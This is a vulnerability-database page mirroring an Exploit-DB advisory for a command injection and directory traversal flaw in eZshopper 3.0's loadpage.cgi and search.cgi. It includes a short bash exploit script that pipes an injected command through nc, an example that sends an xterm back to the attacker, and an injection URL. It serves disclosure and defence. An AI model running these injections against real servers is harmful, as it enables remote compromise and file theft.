Lucene search
+L

Alex Heiphetz Group eZshopper 3.0 - Remote Command Execution

🗓️ 27 Feb 2000 00:00:00Reported by suidType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

Remote command execution vulnerabilities in EZShopper allow arbitrary file access and command execution.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2000-0187
22 Mar 200005:00
cve
cvelist
Cvelist
CVE-2000-0187
22 Mar 200005:00
cvelist
exploitdb
Exploit DB
Alex Heiphetz Group eZshopper - 'loadpage.cgi' Directory Traversal
25 Nov 200400:00
exploitdb
nessus
Tenable Nessus
EZShopper Multiple Directory Traversal Vulnerabilities
28 Feb 200000:00
nessus
nvd
NVD
CVE-2000-0187
27 Feb 200005:00
nvd
source: https://www.securityfocus.com/bid/1014/info

EZShopper is a perl-based E-Commerce software package offered by Alex Heiphetz Group, Inc. It is possible to remotely compromise a host due to a lack of checks on user input passed directly to the open() call. This vulnerability exists in two scripts shipped with EZShopper, loadpage.cgi and search.cgi.

In the first vulnerability, the variable passed to open() is called "file" and is submitted to a script called loadpage.cgi. There are no checks on "file", meaning that if "../" preceed an arbitrary filename/path as the file variable, those "../" paths will be followed and the arbitrary file anywhere on the filesystem will be displayed (provided that the uid of the webserver has access to them..). If pipes are included in the variable, arbitrary commands can be executed on the target host possibly giving remote access to the attacker with the uid of the webserver (usually 'nobody').

The second vulnerability is identical in nature to the first but is in the "search.cgi" script. In search.cgi, no checks are made on user input variables 'template' and 'database' (passed to open()). As a result, it is possible to view files or execute commands on the host through search.cgi as well.

#!/bin/bash
echo -e "GET http: //www.example.com/cgi-bin/loadpage.cgi?user_id=1&file=|"$1"| HTTP/1.0\n\n" | nc proxy.server.com 8080

[ /cut ]

$ ./ezhack.sh /usr/X11R6/bin/xterm%20-display%

(this would send an xterm from the target host to wherever display is)

http: //www.example.com/cgi-bin/search.cgi?user_id=1&database=<insert here>&template=<or insert here>&distinct=1

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.08532
33